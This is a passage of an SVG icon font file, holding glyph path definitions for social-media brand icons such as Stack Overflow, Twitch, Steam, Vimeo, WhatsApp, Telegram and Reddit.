240.1176451171875C64.219665234375 231.3285826171875 64.219665234375 212.5190736328125 66.856383984375 200.743102734375C51.9126890625 181.0546875 47.8706361328125 152.403258984375 56.8359375 128.672790234375C65.272522265625 105.9974671875 84.2582701171875 90.174866015625 110.9779359375 82.969665234375C108.7966921875 79.15420546875 107.0709228515625 74.23095703125 106.3911439453125 67.568206640625C100.9941099609375 65.7073974609375 96.3134765625 65.1008607421875 91.96014375 66.3803097656249C87.3687744140625 67.7375794921875 83.791351171875 70.8023074218749 80.6831361328125 76.0299679687499C73.70223984375 87.7578738281249 61.81182890625 97.3320005859375 48.2734681640625 96.0868833984375L49.818420703125 78.5774232421875C56.08749375 79.151916796875 62.326812890625 72.5189208984374 65.5677796875 67.050933984375C70.914459375 58.046722265625 78.1173703125 52.1415708984375 86.9819642578125 49.5231626953125C93.5623171875 47.584533984375 99.57733125 47.6303097656249 106.0546875 49.012756640625V25.3120423828125C54.9018861328125 43.2426451171875 17.578125 92.1089173828125 17.578125 149.4140625C17.578125 222.1870423828125 77.2270201171875 282.421875 150 282.421875S282.421875 222.1870423828125 282.421875 149.4140625C282.421875 92.1089173828125 245.0981138671875 43.2426451171875 193.9453125 25.3120423828125zM193.9453125 25.3120423828125" />
    <glyph glyph-name="056-stack-overflow"
      unicode="&#xF138;"
      horiz-adv-x="300" d="M25 105.725V9.375C25 4.2 29.2 0 34.375 0H265.625C270.8 0 275 4.2 275 9.375V105.725C275 118.125 256.25 118.1375 256.25 105.725V18.75H43.75V105.725C43.75 118.125 25 118.125 25 105.725zM83.0625 48.175H204.775C217.175 48.175 217.1875 66.925 204.775 66.925H83.0625C70.6625 66.925 70.65 48.175 83.0625 48.175zM83.0125 106.0125C209.925 80.025 202.2375 81.35 204.0875 81.35C215.3 81.35 216.9625 97.65 205.9625 99.9125L86.7875 124.3875C74.6375 126.875 70.85 108.5125 83.0125 106.0125zM98.175 170.925C212.1875 114.375 206.825 115.6625 211 115.6625C220.875 115.6625 224 129.025 215.1875 133.425L106.55 187.7C95.4875 193.25 87.075 176.475 98.175 170.925zM125.9 219.75L221.1 146.4875000000001C230.775 139.025 242.5 153.6750000000001 232.5375 161.3375L137.3375 234.6C127.5125 242.1875000000001 116.0625 227.3125000000001 125.9 219.75zM258.7125 183.6375L187.1875 277.55C179.6875 287.4125 164.75 276.0625 172.275 266.1875L243.8 172.275C251.25 162.475 266.2874999999999 173.6875 258.7124999999999 183.6375z" />
    <glyph glyph-name="057-twitch"
      unicode="&#xF139;"
      horiz-adv-x="300" d="M60.2654296875 300L16.2287109375 250.0611328125V47.1697265625H82.6189453125V1e-13H97.25859375L137.745703125 47.1703125000001H182.2171875L283.770703125 148.7238281250001V299.9994140625001zM266.1931640625 156.0046875L219.4078125 109.2193359375H167.6736328125L138.5560546875 75.1658203125V109.2193359375H78.277734375V282.4212890625H266.1931640625zM33.8068359375 64.7484375V243.418359375L60.699609375 273.9158203125V91.641796875H120.9779296875V54.7880859375L100.1970703125 30.48515625V64.7490234375H33.8068359375zM175.7712890625 91.6412109375H201.8296875L174.9369140625 64.7484375H152.7767578125zM150.0626953125 234.917578125H167.6408203125V165.5759765625H150.0626953125zM206.9689453125 234.917578125H224.5470703125V165.5759765625H206.9689453125z" />
    <glyph glyph-name="058-steam"
      unicode="&#xF13A;"
      horiz-adv-x="300" d="M5.5625 82.0875L38.45 69.15C54 6.3625 146.5125 12.7 152.6875 77.75L228.7625 123.3C269.8 126.4375 298.8125 159.2625 299.6 197.375C300.975 264.7625 219.0625 300.9375 169.65 253.95C156.5 241.4375 148.4375 225.0625 146.4875 207.2875L102.0125 140.5375C88.5875 142.275 75 139.3 63.375 131.8625C50.1 137.0375 33.425 143.725 12.6625 152.55C6.4125 155.2 -0.375 150.575 -0.375 143.9250000000001V90.8125C-0.375 86.9625 1.975 83.5 5.5625 82.0875zM198.175 126.8375L151.1 98.6625C146.775 114.2875 136 127.5375 120.85 134.9875L149.1375 177.425C155.925 154.3875 173.6125 135.05 198.175 126.8375zM222.8125 256.3875C255.2625 256.3875 281.5375 230.1 280.8625 197.7625C280.55 182.425 274.225 168.125 263.05 157.5C225.925 122.1375 163.725 149.1125 164.775 200.1C165.4125 231.5375 191.3375 256.3875 222.8125 256.3875zM112.55 118.175C149.925 99.825 136.45 43.9125 94.825 43.9125C82.1625 43.9125 70.725 49.95 63.4375 59.325C73.15 57.1875 97.525 38.4 118.65 59.2625C128.75 69.225 131.5625 83.475 125.975 96.5C120.475 109.1625 113.15 112.7625 89.2125 121.9375000000001C96.9875 123.0125000000001 105.0875 121.85 112.55 118.1750000000001zM18.375 129.8C94.975 97.85 104.3 99.3125 108.775 89.05C114.15 76.5375 101.0875 64.025 88.8375 69.475C88.7125 69.525 88.575 69.5875 88.45 69.6375L18.375 97.2zM223.55 154.875C247.675 154.875 267.3 174.5 267.3 198.625S247.675 242.375 223.5500000000001 242.375S179.8000000000001 222.75 179.8000000000001 198.625S199.4375 154.875 223.5500000000001 154.875zM223.55 223.625C237.3375 223.625 248.55 212.4125 248.55 198.625S237.3375 173.625 223.55 173.625S198.55 184.8375 198.55 198.625S209.7625 223.625 223.55 223.625z" />
    <glyph glyph-name="059-vimeo"
      unicode="&#xF13B;"
      horiz-adv-x="300" d="M291.2279296875 257.9701171875C277.2978515625 278.787890625 252.3169921875 279.648046875 251.26171875 279.6744140625C180.9931640625 281.54765625 163.611328125 208.2984375 163.4455078125 207.5583984375C162.9357421875 205.269140625 163.669921875 202.8791015625 165.37734375 201.271875C167.0818359375 199.6740234375 169.517578125 199.0763671875 171.7646484375 199.7197265625C186.1335937500001 203.83359375 196.4982421875 203.7234375 200.9466796875001 199.4109375C205.2492187500001 195.244921875 203.8722656250001 187.1138671875 203.5441406250001 185.4873046875C180.427734375 127.4314453125001 166.4097656250001 122.476171875 164.3507812500001 122.06015625C156.6843750000001 126.2326171875 144.9457031250001 170.4626953125 138.9708984375001 218.1046875C134.9056640625001 247.134375 125.1673828125001 265.454296875 110.0320312500001 272.555859375C93.6890625000001 280.212890625 77.4404296875 271.6693359375 74.55703125 270.0164062500001C47.037890625 257.3953125 3.6919921875 212.4087890625 1.850390625 210.493359375C-0.50390625 208.03828125 -0.626953125 204.200390625 1.56796875 201.5994140625L15.3849609375 185.2306640625C16.6125 183.77578125 18.4013671875 182.9185546875 20.3044921875 182.8734375C22.2849609375 182.72109375 24.0357421875 183.59765625 25.33125 184.9869140625C35.65078125 196.0599609375 41.4111328125 196.5955078125 43.414453125 196.3294921875C46.2041015625 195.9333984375 47.6033203125 193.2416015625 47.70703125 193.0365234375C63.734765625 161.0255859375 74.6841796875 115.055859375 74.804296875 114.54609375C96.0861328125 27.2167968749999 125.3138671875 20.2904296875 133.921875 20.2904296875C134.996484375 20.2904296875 135.7529296875 20.39765625 136.1296875 20.4720703125C215.5388671875 30.460546875 286.0576171875 170.25703125 289.2755859375 176.7873046875C302.888671875 212.2470703125 303.5443359375 239.56171875 291.2279296875 257.9701171875zM277.115625 182.1357421875C276.4207031250001 180.7458984375 206.8857421875 42.776953125 134.3765625 33.652734375C134.2142578125 33.584765625 108.4998046875 32.4673828125 87.7376953125 117.646875C87.280078125 119.588671875 76.33359375 165.571875 59.6953125 198.793359375C59.26640625 199.7220703125 55.2498046875 207.8953125 45.6251953125 209.4439453125C44.6314453125 209.6033203125 43.6248046875 209.6841796875 42.6052734375 209.6841796875C35.876953125 209.6841796875 28.6130859375 206.203125 20.9173828125 199.2966796875L15.641015625 205.5474609375C27.165234375 217.10390625 59.80546875 248.7703125 80.3630859375 258.04453125C80.6068359375 258.1546875 80.8728515625 258.29765625 81.1001953125 258.4341796875C81.223828125 258.5056640625 93.397265625 265.7302734375 104.4732421875 260.4732421875C115.0787109375 255.4306640625 122.452734375 240.14296875 125.787890625 216.35390625C129.5056640625 186.6814453125 140.2833984375001 116.909765625 160.0453125 109.434375C161.5517578125001 108.8466796875 165.0298828125 107.998828125 169.9101562500001 109.8826171875C183.9603515625 115.3083984375 199.4982421875001 139.25625 216.0943359375 181.0541015625C216.1951171875001 181.304296875 216.2794921875 181.557421875 216.3474609375001 181.8169921875C216.5261718750001 182.501953125 220.65 198.734765625 210.284765625 208.88203125C203.7937500000001 215.2365234375 193.59140625 217.3341796875 179.8751953125001 215.1650390625C186.9703125 233.0794921875 206.4697265625 267.5513671875001 250.8972656250001 266.3794921875001C251.0917968750001 266.373046875 270.2337890625 265.564453125 280.2486328125001 250.4619140625001C289.80234375 236.0513671875 288.63046875 212.22421875 277.115625 182.1357421875z" />
    <glyph glyph-name="060-xing"
      unicode="&#xF13C;"
      horiz-adv-x="300" d="M240.6462890625 223.453125C243.467578125 221.86875 247.039453125 222.8689453125 248.625 225.690234375L285.4828125 291.2701171875001C286.5029296875 293.0841796875 286.4830078125 295.3037109375 285.432421875 297.099609375C284.38125 298.89609375 282.4564453125 300 280.3751953125 300H219.06796875C216.950390625 300 214.9974609375 298.857421875 213.9591796875 297.0111328125L117.1400390625 124.7455078125C116.1392578125 122.96484375 116.1380859375 120.7916015625 117.137109375 119.009765625L182.176171875 2.994140625C183.2126953125 1.144921875 185.1673828125 0 187.2873046875 0H248.5951171875C250.674609375 0 252.5994140625 1.1033203125 253.6505859375 2.898046875S254.7228515625 6.9099609375 253.7056640625 8.724609375L190.2755859375 121.8708984375L223.8849609375 181.67109375C225.4705078125001 184.491796875 224.4685546875 188.0642578125 221.6478515625 189.6498046875C218.8265625 191.2341796875 215.2546875 190.2328125 213.669140625 187.4126953125L178.4478515625 124.7455078125C177.4470703125 122.96484375 177.4458984375 120.7916015625 178.444921875 119.009765625L238.5931640625 11.71875H190.7203125L128.9677734375 121.871484375L222.4962890625 288.28125H270.3603515625L238.4091796875 231.4318359375C236.8236328125 228.6111328125 237.8255859375 225.038671875 240.6462890625 223.453125zM236.267578125 212.4310546875C235.177734375 213.521484375 233.666015625 214.1484375 232.1250000000001 214.1484375C230.5781250000001 214.1484375 229.06640625 213.5208984375 227.9765625000001 212.4310546875C226.8867187500001 211.3359375 226.2597656250001 209.830078125 226.2597656250001 208.2890625S226.8867187500001 205.236328125 227.9765625000001 204.146484375C229.0722656250001 203.05078125 230.5781250000001 202.4296875 232.1250000000001 202.4296875C233.666015625 202.4296875 235.171875 203.05078125 236.267578125 204.146484375C237.3574218750001 205.236328125 237.9785156250001 206.7416015625 237.9785156250001 208.2890625C237.978515625 209.830078125 237.357421875 211.341796875 236.267578125 212.4310546875zM134.75625 181.1724609375L98.0671875 241.426171875C97.004296875 243.172265625 95.10703125 244.2380859375 93.0626953125 244.2380859375H34.9693359375C32.893359375 244.2380859375 30.9720703125 243.139453125 29.919140625 241.35S28.838671875 237.348046875 29.8470703125 235.5328125L61.7373046875 178.13203125L14.5095703125 93.5794921875C13.4958984375 91.76484375 13.519921875 89.5494140625 14.5716796875 87.7564453125C15.6234375 85.9634765625 17.546484375 84.8630859375 19.625390625 84.8630859375H77.71875C79.7841796875 84.8630859375 81.697265625 85.95 82.7537109375 87.725390625L134.7873046875 175.1279296875C135.8970703125 176.9923828125 135.8853515625 179.3185546875 134.75625 181.1724609375zM74.3876953125 96.5818359375H60.2689453125L79.8029296875 131.51484375C81.38203125 134.3390625 80.373046875 137.9091796875 77.5482421875 139.4888671875C74.7240234375 141.0673828125 71.1533203125 140.0583984375 69.5748046875 137.2341796875L46.8421875 96.58125H29.6091796875L73.559765625 175.2673828125C74.5494140625 177.038671875 74.5517578125 179.19609375 73.5662109375 180.9697265625L44.92734375 232.51875H89.7703125L122.9126953125 178.08984375L74.3876953125 96.5818359375zM89.396484375 157.482421875C88.306640625 158.572265625 86.794921875 159.19921875 85.25390625 159.19921875C83.70703125 159.19921875 82.201171875 158.5716796875 81.111328125 157.482421875C80.021484375 156.392578125 79.39453125 154.880859375 79.39453125 153.33984375C79.39453125 151.79296875 80.021484375 150.287109375 81.111328125 149.19140625C82.201171875 148.1015625 83.712890625 147.48046875 85.25390625 147.48046875S88.306640625 148.1015625 89.396484375 149.19140625C90.486328125 150.287109375 91.11328125 151.79296875 91.11328125 153.33984375C91.11328125 154.880859375 90.486328125 156.392578125 89.396484375 157.482421875z" />
    <glyph glyph-name="061-whatsapp"
      unicode="&#xF13D;"
      horiz-adv-x="300" d="M0 0.0001755838001L17.2923439455192 85.04338238957C7.1575133228088 105.5520610733664 1.9329182535256 128.1417436584264 2.0394364318694 151.0198060078347C2.0394364318694 233.1350578396759 68.9043785921935 300 151.0196304240347 300C233.1374800980086 300 299.9998244162 233.1350578396759 299.9998244162 151.0198060078347S233.1374800980086 2.0396120156694 151.0196304240347 2.0396120156694C128.1649506490915 1.9746619718101 105.6064434998046 7.2278346347337 85.1315394240945 17.3808514825536zM87.1709758559638 32.277832010953L89.3870775244821 31.1269141211431C108.435674486878 21.277864090468 129.5782672215617 16.1675820561071 151.0196304240347 16.2273357506108C225.3330628485586 16.2273357506108 285.8121006812586 76.7063735833108 285.8121006812586 151.0198060078347S225.3330628485586 285.8122762650586 151.0196304240347 285.8122762650586S16.227160831901 225.3332384323586 16.227160831901 151.0198060078347C16.1674064723071 129.5758442981389 21.2776891717581 108.435850070678 31.1267385373431 89.387252443192L32.2802542692857 87.1711514397639L18.1782646454459 18.178440229246zM87.1709758559638 32.277832010953M193.0528085792728 65.8882665837402H186.4902396800899C119.9812245050161 65.8882665837402 65.8880909999402 119.981399423726 65.8880909999402 186.4904145987998V193.0529841630728C65.8776989663191 204.3413305177259 70.3800473663904 215.164633201562 78.3923059533528 223.1145395867977L84.2456187241678 228.9678523576127C93.3776184349866 238.1024499105642 109.3397820770043 238.1024499105642 118.4743789648657 228.9678523576127L136.8319066890932 210.7012550938423C141.388813764493 206.1729262771732 143.942655528062 200.0104503398577 143.9244699680427 193.585575719882C143.9036859008005 187.1684946263044 141.3550391564068 181.0190092298329 136.8319066890932 176.4698963459216L135.1457994003414 174.7863868993025C131.6722616636694 171.3024577940995 129.72635353439 166.5818766879849 129.7367455680111 161.6612484358465C129.7549317931205 156.7484143751965 131.6982420802672 152.0356274605703 135.1457994003414 148.5361099723905L148.4476024353562 135.2343069373758C155.3660983197894 128.3184088950753 167.7793828127448 128.3184088950753 174.7862113155025 135.2343069373758L176.4697207621215 136.9204142261276C185.6043183150731 146.0550117790791 201.5664819570908 146.0550117790791 210.7010795100423 136.9204142261276L229.0560093921372 118.4745545486657C238.5075636379873 109.0204017955927 238.5075636379873 93.697348553818 229.0560093921372 84.2457936428777L223.2052937983647 78.3924808720627C215.2320061688442 70.3568410408155 204.3723310347892 65.8544926407442 193.0528085792728 65.8882665837402zM101.3587002559954 221.9636216969877C98.7009374911252 221.9662195391205 96.1470950624661 220.9140263012561 94.266136977046 219.0356660579688L88.412824206231 213.1823532871538C83.0713189249829 207.8824161403901 80.0706190506162 200.6677469652103 80.0758153999718 193.1413161163072V186.4904145987998C80.1251770608545 127.7416506965589 127.7414751127589 80.1253526446545 186.4902396800899 80.0759903186817H193.0528085792728C200.5792387630858 80.0707946344163 207.7939086033557 83.0714945087829 213.0938457501194 88.4129997900311L218.9471585209344 94.2663125608461C220.8333122906199 96.1446728041334 221.8907018778399 98.6985145677024 221.8907018778399 101.3588751747054C221.8907018778399 104.0218342889312 220.8333122906199 106.5730782103675 218.9471585209344 108.4540362957876L200.6805612571641 126.811563354925C196.7082065717691 130.5942635930073 190.4651922076176 130.5942635930073 186.4902396800899 126.811563354925L184.8067302334708 125.1254560661732C171.9959506207808 112.3276669943271 151.2378631300779 112.3276669943271 138.4270835173878 125.1254560661732L125.1252804823731 138.4272591011879C118.993980645921 144.6053234214801 115.5490218330696 152.9553221034931 115.5490218330696 161.6612484358466C115.5360319573158 170.3437928588252 118.9809907701671 178.6730074735959 125.1252804823731 184.8069051521808L126.811388436215 186.4904145987999C128.6793559807911 188.3791668757083 129.7315498837456 190.9278129550118 129.7367455680111 193.585575719882C129.7419419173667 196.245936326885 128.6897486795023 198.7971809134114 126.811388436215 200.6807368409642L108.4538607119875 219.0356660579689C106.5703047844347 220.9140263012562 104.0190608629984 221.9662195391206 101.3587002559954 221.9636216969878zM101.3587002559954 221.9636216969877" />
    <glyph glyph-name="062-telegram"
      unicode="&#xF13E;"
      horiz-adv-x="300" d="M288.1068421062913 280.1499414962505L0 163.6040263081302V146.7578765189976L82.5172434674069 121.283839877484L108.6142131880539 37.5599932022354L129.4464314666177 37.5635092873482L163.0338345056873 71.9285531505099L233.9362768174742 19.8500585037496L247.7369108848229 25.100745605382L300.0005860141855 270.1677758612944zM233.3801493554821 42.0717164160154L140.0005469465731 110.6594026952746L129.5929350129802 96.4907517194633L148.7239541111825 82.4387175665566L121.5493043034928 55.1421768082933L100.2260061375219 123.5499567326193L223.7337698487888 197.2933958154681L214.7214576907524 212.3879492042904L89.3964639904049 137.5597978641736L28.7662643353719 156.2765049332628L279.3541342324093 257.6446527182269z" />
    <glyph glyph-name="063-reddit"
      unicode="&#xF13F;"
      horiz-adv-x="300" d="M149.880261385225 9.8797304904051C70.9797527953485 9.8797304904051 6.732517043262 55.7627597014925 6.732517043262 112.2251462686567C6.732517043262 168.6850349680171 70.9797527953485 214.5705620469083 149.880261385225 214.5705620469083C228.7832661138934 214.5705620469083 293.0280057271879 168.6850349680171 293.0280057271879 112.2251462686567C293.0280057271879 55.7627597014925 228.7832661138934 9.8797304904051 149.880261385225 9.8797304904051zM149.880261385225 200.9228411513859C78.4761375159883 200.9228411513859 20.3648039317914 161.0940831556503 20.3648039317914 112.2251462686567C20.3648039317914 63.3537115138593 78.4761375159883 23.5249535181237 149.880261385225 23.5249535181237S279.395719477711 63.3537115138593 279.395719477711 112.2251462686567C279.395719477711 161.0940831556503 221.2843852544617 200.9228411513859 149.880261385225 200.9228411513859zM149.880261385225 200.9228411513859M15.252384491007 134.8255931769723C3.0604617089902 144.6478541577825 -2.4613500557733 160.5743603411514 1.030971143481 175.8462153518124C4.5207968429958 191.1180703624733 16.4131631593517 203.056702771855 31.6580579558779 206.5948157782516C46.905450169301 210.1354279317697 62.8343310894427 204.6558498933902 72.6822287294328 192.4798439232409L62.0330187739758 183.9518923240938C55.4602648382383 192.0625663113006 44.8385143266502 195.7081221748401 34.6760833882475 193.3418840085288C24.5136518107923 190.9731479744136 16.5928966553167 183.0098948827292 14.271338679575 172.8278251599147C11.9522774816776 162.6432569296375 15.6418064265456 152.0289179104478 23.7747474384915 145.4874063965885zM15.252384491007 134.8255931769723M284.5081389184954 134.9105475479744L275.9857759710109 145.4874063965885C284.1187163439044 152.0289179104478 287.8082459278249 162.6432569296376 285.4891840908751 172.8278251599147C283.1701228929777 183.0098948827292 275.2468715987101 190.9731479744137 265.0844400212549 193.3418840085288C254.9220084437998 195.7081221748401 244.3027540710037 192.0625663113007 237.7300001352661 183.9518923240938L227.1631685114158 192.5647989339019C236.981110568745 204.8507462686567 252.9649103766245 210.4177771855011 268.2821983105372 206.8846618336887C283.5969901056578 203.3540443496802 295.5367862543231 191.3504462686567 298.9966557321246 176.0036315565032C302.4565252099261 160.6568162046909 296.8248756696871 144.6828358208956 284.5081389184954 134.9105475479744zM284.5081389184954 134.9105475479744M95.3486196094729 105.401286140725C80.2884505864957 105.401286140725 68.0815503326747 117.6197692963753 68.0815503326747 132.6942294243071C68.0815503326747 147.7661910447762 80.2884505864957 159.9846748400853 95.3486196094729 159.9846748400853C110.4062924936582 159.9846748400853 122.6131927474792 147.7661910447762 122.6131927474792 132.6942294243071C122.6131927474792 117.6197692963753 110.4062924936582 105.401286140725 95.3486196094729 105.401286140725zM95.3486196094729 146.3394524520256C87.8197831673803 146.3394524520256 81.7138372212041 140.2302102345416 81.7138372212041 132.694229424307C81.7138372212041 125.1557501066098 87.8197831673803 119.0465085287847 95.3486196094729 119.0465085287847S108.9809058589498 125.1557501066098 108.9809058589498 132.694229424307C108.9809058589498 140.2302102345416 102.8774560515656 146.3394524520256 95.3486196094729 146.3394524520256zM95.3486196094729 146.3394524520256M204.4119038000294 105.401286140725C189.3542309158442 105.401286140725 177.1473306620232 117.6197692963753 177.1473306620232 132.6942294243071C177.1473306620232 147.7661910447762 189.3542309158442 159.9846748400853 204.4119038000294 159.9846748400853C219.4720728230067 159.9846748400853 231.6789724377752 147.7661910447762 231.6789724377752 132.6942294243071C231.6789724377752 117.6197692963753 219.4720728230067 105.401286140725 204.4119038000294 105.401286140725zM204.4119038000294 146.3394524520256C196.8830673579368 146.3394524520256 190.7796169115001 140.2302102345416 190.7796169115001 132.694229424307C190.7796169115001 125.1557501066098 196.8830673579368 119.0465085287847 204.4119038000294 119.0465085287847C211.943236380914 119.0465085287847 218.0466861882983 125.1557501066098 218.0466861882983 132.694229424307C218.0466861882983 140.2302102345416 211.943236380914 146.3394524520256 204.4119038000294 146.3394524520256zM204.4119038000294 146.3394524520256M245.3112593263046 235.0396452025587C230.2535864421193 235.0396452025587 218.0466861882983 247.2581289978678 218.0466861882983 262.3300906183369C218.0466861882983 277.4045507462687 230.2535864421193 289.6230345415779 245.3112593263046 289.6230345415779C260.3714283492818 289.6230345415779 272.5783279640504 277.4045507462687 272.5783279640504 262.3300906183369C272.5783279640504 247.2581289978678 260.3714283492818 235.0396452025587 245.3112593263046 235.0396452025587zM245.3112593263046 275.9778115138593C237.7824228842119 275.9778115138593 231.6789724377752 269.8685699360342 231.6789724377752 262.3300906183369C231.6789724377752 254.7941098081024 237.7824228842119 248.6848682302772 245.3112593263046 248.6848682302772C252.8425919071892 248.6848682302772 258.9460417145735 254.7941098081024 258.9460417145735 262.3300906183369C258.9460417145735 269.8685699360342 252.8425919071892 275.9778115138593 245.3112593263046 275.9778115138593zM245.3112593263046 275.9778115138593M156.6976528988856 207.7467019189766H143.0628705106168V241.8610074626866C143.0678627882007 254.6142057569297 149.0090533492685 266.6352946695096 159.1340402886345 274.3786643923241C169.2565310892084 282.1195362473348 182.4070318773199 284.6981609808103 194.698805962487 281.3499466950959L226.993420209671 272.5646321961621L223.4137277621737 259.4316364605544L191.1216096537816 268.2169509594883C182.9212690601382 270.4482607675907 174.1492762571466 268.7266791044777 167.399284964236 263.5594349680171S156.6901638434573 250.3689697228145 156.6976528988856 241.8610074626866zM156.6976528988856 207.7467019189766M149.880261385225 43.994036673774C124.914779695728 43.994036673774 101.6542694400548 53.7163509594883 85.9750183754201 70.6048439232409L95.9452351238979 79.8998865671642C109.0657803293485 65.7424375266525 128.7490942763163 57.6392590618337 149.880261385225 57.6392590618337S190.6947430801539 65.7424375266524 203.8177844243965 79.8998865671642L213.7855043950299 70.6048439232409C198.1087494691871 53.7163509594883 174.845743074722 43.994036673774 149.880261385225 43.994036673774zM149.880261385225 43.994036673774" />
    <glyph glyph-name="064-odnoklassniki"
      unicode="&#xF140;"
      horiz-adv-x="300" d="M150.009375 300C108.646875 300 75.009375 266.3625 75.009375 225S108.646875 150 150.009375 150S225.009375 183.6375 225.009375 225S191.371875 300 150.009375 300zM150.009375 168.75C118.996875 168.75 93.759375 193.9875 93.759375 225C93.759375 256.0125 118.996875 281.25 150.009375 281.25C181.021875 281.25 206.259375 256.0125 206.259375 225S181.021875 168.75 150.009375 168.75zM223.321875 14.75625L157.696875 108.50625C154.209375 113.49375 145.865625 113.49375 142.340625 108.50625L76.715625 14.75625C73.753125 10.51875 74.765625 4.66875 79.021875 1.70625C83.259375 -1.275 89.109375 -0.24375 92.071875 3.99375L150.009375 86.775L207.965625 3.99375C209.784375 1.3875 212.690625 1e-13 215.634375 1e-13C217.509375 1e-13 219.365625 0.54375 221.034375 1.70625C225.271875 4.66875 226.303125 10.5 223.321875 14.75625zM242.803125 145.4625C239.146875 149.11875 233.203125 149.11875 229.546875 145.4625C185.653125 101.5875 114.309375 101.5875 70.453125 145.4625C66.796875 149.11875 60.853125 149.11875 57.196875 145.4625S53.540625 135.8625 57.196875 132.20625C82.790625 106.63125 116.409375 93.825 150.009375 93.825S217.228125 106.63125 242.803125 132.20625C246.459375 135.8625 246.459375 141.80625 242.803125 145.4625z" />
    <glyph glyph-name="065-500px-monogram"
      unicode="&#xF141;"
      horiz-adv-x="300" d="M164.9198791405132 34.3747953714184C219.7696934546918 34.3747953714184 264.3932236368229 78.9983255535495 264.3932236368229 133.8481398677281S219.7696934546918 233.3214843640378 164.9198791405132 233.3214843640378C137.555308182337 233.3214843640378 111.8745381240587 222.1157893752163 93.380791573512 202.9821984827083V283.1619910010197H230.2092590340596C234.8593558526114 283.1619910010197 238.6282635335498 286.9308986819581 238.6282635335498 291.5809955005098S234.8593558526114 300 230.2092590340596 300H84.9617870740218C80.31169025547 300 76.5427825745316 296.2310923190616 76.5427825745316 291.5809955005098V179.7008447067848L76.4445608553709 177.6494139437423C76.2621490912152 173.7289641818131 78.8103011197276 170.1985949616935 82.5876278051655 169.1434130644241C86.3789861647693 168.0854248323215 90.3780133020271 169.7860637412185 92.2498386357471 173.2322429163432C106.744558049036 199.9120681752276 134.5890122636832 216.4862816998906 164.9198791405132 216.4862816998906C210.4835314917541 216.4862816998906 247.5552146378425 179.4174048886353 247.5552146378425 133.8509462025612S210.483531491754 51.2156107052319 164.9198791405132 51.2156107052319C149.6000972862742 51.2156107052319 135.0520575111552 55.5261410089709 122.5189661462475 63.0386993573493V133.8481398677281C122.5189661462475 157.2305216976455 141.5403036454289 176.251859196827 164.9198791405132 176.251859196827S207.3207921347789 157.2305216976455 207.3207921347789 133.8481398677281S188.2994546355974 91.4444205386292 164.9198791405132 91.4444205386292C159.2595017820226 91.4444205386292 153.7675045135219 92.5388911235629 148.5954294160017 94.6997689450987C144.3213814650939 96.490210568657 139.37661948906 94.4668431539461 137.5833715306685 90.1731508592062C135.7929299071103 85.8822648992993 137.8191036566543 80.9515345974312 142.1099896165611 79.161092973873C149.3475271512895 76.138670358556 157.0200465851582 74.6064115396488 164.9198791405132 74.6064115396488C197.5856165985351 74.6064115396488 224.1588011337593 101.1824024097061 224.1588011337593 133.848139867728S197.5828102637019 193.0898681958073 164.9198791405132 193.0898681958073S105.6809571472671 166.51387732575 105.6809571472671 133.848139867728V76.3126631182121C96.2011580808411 86.0394196499564 89.0253599124423 98.1319164460576 85.2480332270044 111.8352494363944C84.0132459004125 116.3169661649563 79.3799870908597 118.9521145732968 74.8954640274646 117.7145209118717C70.4109409640695 116.4797335852798 67.7814052253954 111.8436684408939 69.0133862171542 107.361951712332C80.8589255479369 64.3857400772677 120.2935426235489 34.3747953714184 164.9198791405132 34.3747953714184zM114.3272747682435 257.4643829337424C110.0784838308341 255.5785259258567 108.1645634746167 250.602894266658 110.0504204825025 246.3541033292486C111.9362774903883 242.1081187266724 116.9062964799207 240.1857793659554 121.1635064218296 242.0772490435076C147.5486665232318 253.7936969719647 199.3957025659255 266.0349295142235 250.0781096528564 216.3347396188997C251.7170091954239 214.7267097594971 253.8470173337949 213.9269043320455 255.9742191373327 213.9269043320455C258.1547413027007 213.9269043320455 260.3380698029018 214.7688047819946 261.9853883499687 216.4497993470594C265.2407367564382 219.7696934546917 265.1902227294413 225.1017296377022 261.870328621809 228.3570780441717C201.9242102506057 287.1385674596122 138.7171308032666 268.2968353897532 114.3272747682435 257.4643829337424zM264.859075219128 57.8161102328322C261.3483503428406 60.8637898616477 256.030345833996 60.4961599985033 252.9826662051805 56.9854351222158C230.7985893490239 31.4702388190942 198.699731527301 16.8352026641471 164.9198791405132 16.8352026641471C105.5743164236069 16.8352026641471 55.7534541304572 61.2286133899589 49.0322822050309 120.0999055200606C48.5046912563961 124.7191326554475 44.3232523549827 128.0474457675793 39.7152505589284 127.5086294796119C35.0960234235414 126.9810385309772 31.7761293159091 122.8108249688964 32.3037202645439 118.1887914986763C39.9930777074116 50.8086921544232 97.0065761779591 -0.0056126696664 164.9198791405132 -0.0056126696664C203.5743351325058 -0.0056126696664 240.3036454289483 16.7397872798196 265.6869439949113 45.9340885492184C268.7374299585598 49.447619760339 268.3669937605823 54.7656242691836 264.859075219128 57.8161102328322zM143.4963190241439 113.4376666261307C145.1436375712108 111.7678974003985 147.3157407320792 110.9288032852826 149.4906502277809 110.9288032852826C151.6262710358182 110.9288032852826 153.7618918438556 111.7370277172337 155.400791386423 113.3534765811358L164.0471090073994 121.8791218042862L172.5727542305498 113.235610518143C174.2200727776167 111.5658412924107 176.3921759384852 110.7267471772948 178.5670854341868 110.7267471772948C180.7027062422242 110.7267471772948 182.8383270502615 111.5349716092459 184.4772265928289 113.151420473148C187.7887016959617 116.4179942189502 187.8251840487928 121.7472240671275 184.5586103029907 125.0586991702603L176.0357714146734 133.7022104564036L184.3677795343356 141.9163525130728C187.6792546374684 145.182926258875 187.7157369902995 150.5121561070523 184.4491632444973 153.8236312101851C181.1825894986951 157.1351063133179 175.8505533156846 157.171588666149 172.5446908822181 153.90782125518L164.212682762556 145.6908728636776L155.9957343710536 154.0228809833397C152.7291606252514 157.3343560864725 147.397124442241 157.3708384393037 144.0912620087745 154.1070710283347C140.7797869056417 150.8404972825324 140.7433045528106 145.5112674343552 144.0098782986128 142.1997923312224L152.224020355282 133.8705905463934L143.5805090691388 125.344945323243C140.2690339660059 122.0783715774408 140.2297452783417 116.7491417292635 143.4963190241439 113.4376666261307z" />
    <glyph glyph-name="066-stumbleupon"
      unicode="&#xF142;"
